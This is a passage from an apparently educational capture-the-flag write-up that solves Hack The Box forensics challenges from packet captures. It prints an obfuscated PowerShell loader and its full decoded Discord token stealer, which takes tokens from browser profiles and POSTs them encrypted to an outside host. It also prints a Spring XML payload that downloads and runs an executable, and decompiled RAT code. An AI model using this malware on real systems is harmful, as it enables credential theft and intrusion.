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" ;
$s0yAY2gmHVNFd7QZ = $jozeq3n.ToCharArray() ; [array]::Reverse($s0yAY2gmHVNFd7QZ) ; -join $s0yAY2gmHVNFd7QZ 2>&1> $null ;
$LOaDcODEoPX3ZoUgP2T6cvl3KEK = [sYSTeM.TeXt.ENcODING]::UTf8.geTSTRiNG([SYSTEm.cOnVeRT]::FRoMBaSe64sTRing("$s0yAY2gmHVNFd7QZ")) ;
$U9COA51JG8eTcHhs0YFxrQ3j = "Inv"+"OKe"+"-EX"+"pRe"+"SSI"+"On" ; New-alIaS -Name pWn -VaLuE $U9COA51JG8eTcHhs0YFxrQ3j -FoRcE ; pWn $lOADcODEoPX3ZoUgP2T6cvl3KEK ;

And a second request to POST 192.168.116.135:8080/rj1893rj1joijdkajwda which sends some data.

POST /rj1893rj1joijdkajwda HTTP/1.1
Content-Type: text/plain
User-Agent: Mozilla/5.0
Host: 192.168.116.135:8080
Content-Length: 728
Connection: Keep-Alive

bEG+rGcRyYKeqlzXb0QVVRvFp5E9vmlSSG3pvDTAGoba05Uxvepwv++0uWe1Mn4LiIInZiNC/ES1tS7Smzmbc99Vcd9h51KgA5Rs1t8T55Er5ic4FloBzQ7tpinw99kC380WRaWcq1Cc8iQ6lZBP/yqJuLsfLTpSY3yIeSwq8Z9tusv5uWvd9E9V0Hh2Bwk5LDMYnywZw64hsH8yuE/u/lMvP4gb+OsHHBPcWXqdb4DliwhWwblDhJB4022UC2eEMI0fcHe1xBzBSNyY8xqpoyaAaRHiTxTZaLkrfhDUgm+c0zOEN8byhOifZhCJqS7tfoTHUL4Vh+1AeBTTUTprtdbmq3YUhX6ADTrEBi5gXQbSI5r1wz3r37A71Z4pHHnAoJTO0urqIChpBihFWfYsdoMmO77vZmdNPDo1Ug2jynZzQ/NkrcoNArBNIfboiBnbmCvFc1xwHFGL4JPdje8s3cM2KP2EDL3799VqJw3lWoFX0oBgkFi+DRKfom20XdECpIzW9idJ0eurxLxeGS4JI3n3jl4fIVDzwvdYr+h6uiBUReApqRe1BasR8enV4aNo+IvsdnhzRih+rpqdtCTWTjlzUXE0YSTknxiRiBfYttRulO6zx4SvJNpZ1qOkS1UW20/2xUO3yy76Wh9JPDCV7OMvIhEHDFh/F/jvR2yt9RTFId+zRt12Bfyjbi8ret7QN07dlpIcppKKI8yNzqB4FA==HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.10.12
Date: Sat, 02 Mar 2024 18:12:50 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2
Connection: close

OK

The first thing I did was to analyze and decrypt the discordnitro.ps1 PowerShell file by basically running it myself without that last part of invoking it. The Base64 encoded stuff looks like this:

$URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"

function Steal {
    param (
        [string]$path
    )

    $tokens = @()

    try {
        Get-ChildItem -Path $path -File -Recurse -Force | ForEach-Object {

            try {
                $fileContent = Get-Content -Path $_.FullName -Raw -ErrorAction Stop

                foreach ($regex in @('[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}', 'mfa\.[\w-]{80,95}')) {
                    $tokens += $fileContent | Select-String -Pattern $regex -AllMatches | ForEach-Object {
                        $_.Matches.Value
                    }
                }
            } catch {}
        }
    } catch {}

    return $tokens
}

function GenerateDiscordNitroCodes {
    param (
        [int]$numberOfCodes = 10,
        [int]$codeLength = 16
    )

    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
    $codes = @()

    for ($i = 0; $i -lt $numberOfCodes; $i++) {
        $code = -join (1..$codeLength | ForEach-Object { Get-Random -InputObject $chars.ToCharArray() })
        $codes += $code
    }

    return $codes
}

function Get-DiscordUserInfo {
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $true)]
        [string]$Token
    )

    process {
        try {
            $Headers = @{
                "Authorization" = $Token
                "Content-Type" = "application/json"
                "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36"
            }

            $Uri = "https://discord.com/api/v9/users/@me"

            $Response = Invoke-RestMethod -Uri $Uri -Method Get -Headers $Headers
            return $Response
        }
        catch {}
    }
}

function Create-AesManagedObject($key, $IV, $mode) {
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"

    if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
    elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
    elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
    elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
    elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}


    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        }
        else {
            $aesManaged.IV = $IV
        }
    }
    if ($key) {
        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        else {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}

function Encrypt-String($key, $plaintext) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    [System.Convert]::ToBase64String($fullData)
}

Write-Host "
______              ______ _                       _   _   _ _ _               _____  _____  _____   ___
|  ___|             |  _  (_)                     | | | \ | (_) |             / __  \|  _  |/ __  \ /   |
| |_ _ __ ___  ___  | | | |_ ___  ___ ___  _ __ __| | |  \| |_| |_ _ __ ___   `' / /'| |/' |`' / /'/ /| |
|  _| '__/ _ \/ _ \ | | | | / __|/ __/ _ \| '__/ _` | | . ` | | __| '__/ _ \    / /  |  /| |  / / / /_| |
| | | | |  __/  __/ | |/ /| \__ \ (_| (_) | | | (_| | | |\  | | |_| | | (_) | ./ /___\ |_/ /./ /__\___  |
\_| |_|  \___|\___| |___/ |_|___/\___\___/|_|  \__,_| \_| \_/_|\__|_|  \___/  \_____/ \___/ \_____/   |_/

                                                                                                         "
Write-Host "Generating Discord nitro keys! Please be patient..."

$local = $env:LOCALAPPDATA
$roaming = $env:APPDATA
$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"

$paths = @{
    'Google Chrome' = "$local\Google\Chrome\User Data\Default"
    'Brave' = "$local\BraveSoftware\Brave-Browser\User Data\Default\"
    'Opera' = "$roaming\Opera Software\Opera Stable"
    'Firefox' = "$roaming\Mozilla\Firefox\Profiles"
}

$headers = @{
    'Content-Type' = 'application/json'
    'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36'
}

$allTokens = @()
foreach ($platform in $paths.Keys) {
    $currentPath = $paths[$platform]

    if (-not (Test-Path $currentPath -PathType Container)) {continue}

    $tokens = Steal -path $currentPath
    $allTokens += $tokens
}

$userInfos = @()
foreach ($token in $allTokens) {
    $userInfo = Get-DiscordUserInfo -Token $token
    if ($userInfo) {
        $userDetails = [PSCustomObject]@{
            ID = $userInfo.id
            Email = $userInfo.email
            GlobalName = $userInfo.global_name
            Token = $token
        }
        $userInfos += $userDetails
    }
}

$AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
$payload = $userInfos | ConvertTo-Json -Depth 10
$encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload

try {
    $headers = @{
        'Content-Type' = 'text/plain'
        'User-Agent' = 'Mozilla/5.0'
    }
    Invoke-RestMethod -Uri $URL -Method Post -Headers $headers -Body $encryptedData
}
catch {}

Write-Host "Success! Discord Nitro Keys:"
$keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
$keys | ForEach-Object { Write-Output $_ }

This really looked like a token stealer. The first and obvious part is in line 123: $part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf" which is as base64 encoded part of the flag.

To get the second part of the flag, I had to decrypt the userInfos that were encrypted and sent in lines 147 onwards. Luckily, the encrypted data is given in that second HTTP request in the capture.pcapng file. We also have the AES key (base64 encoded) in line 161 of the deobfuscated_discordnitro.ps1 file. Using these information, I used this website to decrypt the data: https://www.devglan.com/online-tools/aes-encryption-decryption.

I then decoded the resulting base64 string using CyberChef: Decoding in CyberChef

Resulting in this JSON:

ui(
wyXØU(î
6Nx[
    {
        "ID":  "1212103240066535494",
        "Email":  "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9",
        "GlobalName":  "phreaks_admin",
        "Token":  "MoIxtjEwMz20M5ArNjUzNTQ5NA.Gw3-GW.bGyEkOVlZCsfQ8-6FQnxc9sMa15h7UP3cCOFNk"
    },
    {
        "ID":  "1212103240066535494",
        "Email":  "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9",
        "GlobalName":  "phreaks_admin",
        "Token":  "MoIxtjEwMz20M5ArNjUzNTQ5NA.Gw3-GW.bGyEkOVlZCsfQ8-6FQnxc9sMa15h7UP3cCOFNk"
    }
]

Decoding the Email revealed the second part of the flag. The complete encoded flag looked like this: SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFfYjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9

Decoding it using CyberChef revealed the flag.

Flag: HTB{fr33_N17r0G3n_3xp053d!_b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}


[Medium] Phreaky

In the shadowed realm where the Phreaks hold sway,
A mole lurks within, leading them astray.
Sending keys to the Talents, so sly and so slick,
A network packet capture must reveal the trick.
Through data and bytes, the sleuth seeks the sign,
Decrypting messages, crossing the line.
The traitor unveiled, with nowhere to hide,
Betrayal confirmed, they’d no longer abide.

This challenge presented a .pcap file called phreaky.pcap. As always, I went head first to the HTTP objects but quickly realized that just a bunch of jammy updates have been requested. Skipping that TCP stream, I found something more interesting in the second TCP stream.

Seems like someone sent a mail from caleb@thephreaks.com to resources@thetalents.com. The whole stream:

220 The Phreaks Mail Server - We run this
HELO phreak-ubuntu01
250 mailserver-phreak
MAIL FROM:<caleb@thephreaks.com>
250 2.1.0 Ok
RCPT TO:<resources@thetalents.com>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Date: Wed, 06 Mar 2024 14:59:12 +0000
From: caleb@thephreaks.com(Caleb)
To: resources@thetalents.com
Subject: Secure File Transfer
Message-ID: <20240306145912.3RkED%caleb@thephreaks.com>
User-Agent: s-nail v14.9.23
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="=-=DBZhoU35m_YtHyGmIsZszrXoWQVlI-1y1rd3=-="

This is a multi-part message in MIME format.

--=-=DBZhoU35m_YtHyGmIsZszrXoWQVlI-1y1rd3=-=
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-ID: <20240306145912.g2I1r%caleb@thephreaks.com>

Attached is a part of the file. Password: S3W8yzixNoL8

--=-=DBZhoU35m_YtHyGmIsZszrXoWQVlI-1y1rd3=-=
Content-Type: application/zip
Content-Transfer-Encoding: base64
Content-Disposition: attachment; 
 filename*0="caf33472c6e0b2de339c1de893f78e67088cd6b1586a581c6f8e87b5596";
 filename*1="efcfd.zip"
Content-ID: <20240306145912.Emuab%caleb@thephreaks.com>

UEsDBBQACQAIAGZ3ZlhwRyBT2gAAAN0AAAAWABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MVVUCQAD
wIToZcCE6GV1eAsAAQToAwAABOgDAAA9mPwEVmy1t/sLJ62NzXeCBFSSSZppyIzvPXL++cJbuCeL
nP4XXiAK9/HZL9xRw4LjlDf5eDd6BgBOKZqSn6qpM6g1WKXriS7k3lx5VkNnqlqQIfYnUdOCnkD/
1vzCyhuGdHPia5lmy0HoG+qdXABlLyNDgxvB9FTOcXK7oDHBOf3kmLSQFdxXsjfooLtBtC+y4gdB
xB4V3bImQ8TB5sPY55dvEKWCJ34CzRJbgIIirkD2GDIoQEHznvJA7zNnOvce1hXGA2+P/XmHe+4K
tL/fmrWMVpQEd+/GQlBLBwhwRyBT2gAAAN0AAABQSwECHgMUAAkACABmd2ZYcEcgU9oAAADdAAAA
FgAYAAAAAAAAAAAAtIEAAAAAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MVVUBQADwIToZXV4CwABBOgD
AAAE6AMAAFBLBQYAAAAAAQABAFwAAAA6AQAAAAA=

--=-=DBZhoU35m_YtHyGmIsZszrXoWQVlI-1y1rd3=-=--
.
250 2.0.0 Ok: queued as 9CB872113
QUIT
221 2.0.0 Bye

It seems like a .zip file called efcfd.zip (line 34) was sent. The content is displayed in base64 and the content of the mail itself states that the password for this .zip file is S3W8yzixNoL8 (line 27). I decoded the attachment using CyberChef.

This showed me that this .zip file contained a .pdf file called phreaks_plan.pdf, but this .zip only contained the first part. Using CyberChef, I downloaded the .zip file and extracted the first part of the PDF on my machine. Finding the other parts was easy, as they were present in the consecutive TCP streams, each with their own password present in the email body in the TCP stream. I assembled all 15 parts of the PDF and combined them using the cat command in Kali.

The resulting phreaks_plan.pdf could easily be opened and presented “The Phreaks’ Grand Scheme Against The Talents”.

Flag: HTB{Th3Phr3aksReadyT0Att4ck}


[Medium] Data Siege

“It was a tranquil night in the Phreaks headquarters, when the entire district erupted in chaos. Unknown assailants, rumored to be a rogue foreign faction, have infiltrated the city’s messaging system and critical infrastructure. Garbled transmissions crackle through the airwaves, spewing misinformation and disrupting communication channels. We need to understand which data has been obtained from this attack to reclaim control of the and communication backbone. Note: flag is splitted in three parts.”

For this challenge, only a capture.pcap file was provided. I analyzed it using Wireshark and saw six TCP streams and some HTTP objects.

The first two TCP streams were not interesting. The third, however, requested a file called aQ4caZ.exe on line 23.

GET /nBISC4YJKs7j4I HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.19
Host: 10.10.10.21:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

HTTP/1.1 200 OK
Content-Type: application/xml
Connection: Keep-Alive
Pragma: no-cache
Server: Apache
Content-Length: 651

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="WHgLtpJX" class="java.lang.ProcessBuilder" init-method="start">
  <constructor-arg>
    <list>
      <value>cmd.exe</value>
      <value>/c</value>
      <value><![CDATA[powershell Invoke-WebRequest 'http://10.10.10.21:8000/aQ4caZ.exe' -OutFile 'C:\temp\aQ4caZ.exe'; Start-Process 'c:\temp\aQ4caZ.exe']]></value>
    </list>
  </constructor-arg>
</bean>
</beans>

This aQ4caZ.exe was then downloaded in the fifth TCP stream and could be exported from Wireshark.

A quick investigation using Notepad and VirusTotal revealed that this is a malware called EZRATClient.exe.

I did a quick OSINT search for this “EZRATClient” and found this GitHub repository: https://github.com/Exo-poulpe/EZRAT It’s a Remote Access Trojan that sends encrypted data between the client and a server. The sixth and last TCP stream included encrypted data:

However, the public repository obviously does not include the correct encryption key which is necessary to decrypt the sent data. It does include an encryption key in the Constants.cs, but not the one used in the instance at hand. So I decompiled the aQ4caZ.exe using JetBrains dotPeek to see if it included the key.

Indeed, in line 7 of the Constants.cs, the key was included.

private const int _SW_HIDE = 0;
private const int _SW_SHOW = 5;
private static string _ip = "10.10.10.21";
private static int _port = 1234;
private static int _screenShotSpeed = 100;
private static string _version = "0.1.6.1";
private static string _encryptKey = "VYAemVeO3zUDTL6N62kVA";
private static Size _defaultCompressionSize = new Size(1280, 720);
private static string _separator = "|";
private static string _special_Separator = "¦";
private static Thread _spy;

The client also includes a decryption method:

public static string Decrypt(string cipherText)
    {
      try
      {
        string encryptKey = Constantes.EncryptKey;
        byte[] buffer = Convert.FromBase64String(cipherText);
        using (Aes aes = Aes.Create())
        {
          Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[13]
          {
            (byte) 86,
            (byte) 101,
            (byte) 114,
            (byte) 121,
            (byte) 95,
            (byte) 83,
            (byte) 51,
            (byte) 99,
            (byte) 114,
            (byte) 51,
            (byte) 116,
            (byte) 95,
            (byte) 83
          });
          aes.Key = rfc2898DeriveBytes.GetBytes(32);
          aes.IV = rfc2898DeriveBytes.GetBytes(16);
          using (MemoryStream memoryStream = new MemoryStream())
          {
            using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
            {
              cryptoStream.Write(buffer, 0, buffer.Length);
              cryptoStream.Close();
            }
            cipherText = Encoding.Default.GetString(memoryStream.ToArray());
          }
        }
        return cipherText;
      }
      catch (Exception ex)
      {
        Console.WriteLine(ex.Message);
        Console.WriteLine("Cipher Text: " + cipherText);
        return "error";
      }
    }

Using that decryption method with the encryption key and the encrypted data from the sixth TCP stream revealed the decrypted data. I used this online tool to easily run the decrypt C# code: https://www.programiz.com/csharp-programming/online-compiler/

The encrypted data needed some cleaning up before it could be decrypted:

1BhuY4/niTopIBHAN6vvmQ==
gs1pJD3U5aold1QaI/LdE+huVKxpC/azbuWUTstbgrbAU9zWdG7mtO0k+T9Mr0X8OBKR254z6toIOEZjd4PACN8tD+nT2n3Pun5DAbmX31vvI+BHavd4pDHEo26YKaUw
F7fKMiKsoErWh0rg6Tr6kQ==
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
3a42oeqqUlDFRMc0fU2izQ==
kiEDfJZYAB1sMzIdb5JF5Q==
G4zEKBYS3iw2EN5dwLm6+/uQktBYty4nNBdsBxIqyb8=
ZKlcDuS6syl4/w1JGgzkYxeaGTSooLkoI62mUeJh4hZgRRytOHq8obQ7o133pBW7BilbKoUuKeTvXi/2fmd4v+gOO/E6A0DGMWiW2+XZ+lkDa97VsbxXAwm0zhunRyBXHuo8TFbQ3wFkFtA3SBFDe+LRYQFB/Kzk/HX/EomfOj2aDYRGYBCHiGS70BiIC/gyNOW6m0xTu1oZx90SCoFel95v+vi8I8rQ1N6Dy/GPMuhcSWAJ8M9Q2N7fVEz92HWYoi8K5Zvge/7REg/5GKT4pu7KnnFCKNrTp9AqUoPuHm0cWy9J6ZxqwuOXTR8LzbwbmXohANtTGso6Dqbih7aai57uVAktF3/uK5nN7EgMSC0ZsUclzPZjm0r4ITE2HtBrRXJ78cUfIbxd+dIDBGts7IuDfjr0qyXuuzw+5o8pvKkTemvTcNXzNQbSWj+5tTxxly0Kgxi5MVT0ecyJfNfdZG0slqYHKaqJCZm6ShfvGRFsglKmenBB274sBdkVqIRtodB8dD1AM1ZQQX1MBMGDeCwFqc+ahch0x375U6Ekmvf2fzCZ/IaHOHBc8p5se1oNMRbIqcJaundh5cuYL/h8p/NPVTK9veu3Qihy310wkjg=
uJ2fWsTba0ORtkn2zNOzNQ==
Hpn7/+8bhbPtNrDOPNmi90fpHYG70U3N1UJbbLuVBPamvpijHsmWE4/C/Xgrzg7v
